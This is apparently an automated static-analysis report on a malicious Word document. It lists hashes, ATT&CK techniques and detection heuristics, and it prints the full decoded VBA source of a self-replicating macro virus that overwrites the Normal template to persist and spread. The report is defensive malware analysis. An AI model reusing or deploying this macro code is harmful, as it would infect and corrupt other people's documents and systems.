Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ad8a9eb1f1be3b18…

MALICIOUS

Office (OLE)

47.5 KB Created: 2007-06-30 13:43:00 Authoring application: Microsoft Office Word First seen: 2015-09-30
MD5: acaf3cfb381654814cbbc0e820fe1270 SHA-1: e05a3b560ec7a53cce8e4e2690be426fd2dad926 SHA-256: ad8a9eb1f1be3b18cc1b8e6c6165937420b13de4d4c90302951fd1793bd85449
148 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample contains VBA macros, specifically a Document_Open macro, which is designed to replicate its malicious code into the Normal template. This action aims to achieve persistence, ensuring the macro executes on future document openings. The macro also attempts to tamper with AV detection by writing its own code. The document body is a form requesting information about payment devices, likely a lure to engage the user.

Heuristics 4

  • ClamAV: Doc.Macro.MicroVirus-6097260-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.MicroVirus-6097260-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
            .DeleteLines 1, .CountOfLines
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Sub Document_Open()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1668 bytes
SHA-256: 23c05dfe1843063484b69ac83a3c05ea521b15b6090dfe4b78d733dc465a3849
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
'Micro-Virus
Sub Document_Open()
On Error Resume Next
Application.DisplayStatusBar = False
'MsgBox "DisplayStatusBar = False"

Options.SaveNormalPrompt = False


Ourcode = ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1, 100)
'MsgBox "Ourcode"

'get normal
Set Host = NormalTemplate.VBProject.VBComponents(1).CodeModule


'if normal, set active;
If ThisDocument = NormalTemplate Then
'    MsgBox "ThisDocument = NormalTemplate"
    
    Set Host = ActiveDocument.VBProject.VBComponents(1).CodeModule
'    MsgBox "Set Host = ActiveDocument"
End If

With Host
    If .Lines(1, 1) <> "'Micro-Virus" Then
    
        .DeleteLines 1, .CountOfLines
  '      MsgBox "DeleteLines 1, .CountOfLines"
        
        .InsertLines 1, Ourcode
        
        .ReplaceLine 2, "Sub Document_Close()"
    '    MsgBox "ReplaceLine 2,Close()"
       
         If ThisDocument = NormalTemplate Then
     '        MsgBox "ThisDocument = NormalTemplate"
             
             .ReplaceLine 2, "Sub Document_Open()"
      '       MsgBox "ReplaceLine 2,Open()"
             
              ActiveDocument.SaveAs ActiveDocument.FullName
       '     MsgBox "ActiveDocument.SaveAs"
            
         End If
    End If
End With
End Sub

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